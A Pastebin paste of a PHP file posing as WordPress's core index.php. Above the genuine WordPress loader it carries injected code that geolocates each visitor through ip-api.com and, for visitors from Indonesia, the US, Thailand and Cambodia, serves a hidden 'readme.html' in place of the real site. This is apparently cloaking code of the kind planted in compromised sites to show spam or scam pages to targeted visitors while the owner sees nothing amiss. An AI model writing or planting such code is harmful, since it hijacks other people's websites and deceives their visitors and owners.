CaFc_Br40ck

Untitled

Sep 11th, 2025 (edited)
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. <?php
  2. function getUserIP() {
  3. if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  4. $ip = $_SERVER['HTTP_CLIENT_IP'];
  5. } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  6. $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
  7. } else {
  8. $ip = $_SERVER['REMOTE_ADDR'];
  9. }
  10. return $ip;
  11. }
  12.  
  13. $ip = getUserIP();
  14. $api_url = "http://ip-api.com/json/{$ip}";
  15. $response = file_get_contents($api_url);
  16. $data = json_decode($response, true);
  17.  
  18. if ($data['countryCode'] === 'ID' || $data['countryCode'] === 'US' || $data['countryCode'] === 'TH' || $data['countryCode'] === 'KH') {
  19. ob_start();
  20. include 'readme.html';
  21. $output = ob_get_clean();
  22. echo $output;
  23. exit();
  24. }
  25.  
  26. /**
  27. * Front to the WordPress application. This file doesn't do anything, but loads
  28. * wp-blog-header.php which does and tells WordPress to load the theme.
  29. *
  30. * @package WordPress
  31. */
  32.  
  33. /**
  34. * Tells WordPress to load the WordPress theme and output it.
  35. *
  36. * @var bool
  37. */
  38. define( 'WP_USE_THEMES', true );
  39.  
  40. /** Loads the WordPress Environment and Template */
  41. require __DIR__ . '/wp-blog-header.php';
Advertisement
Add Comment
Please, Sign In to add comment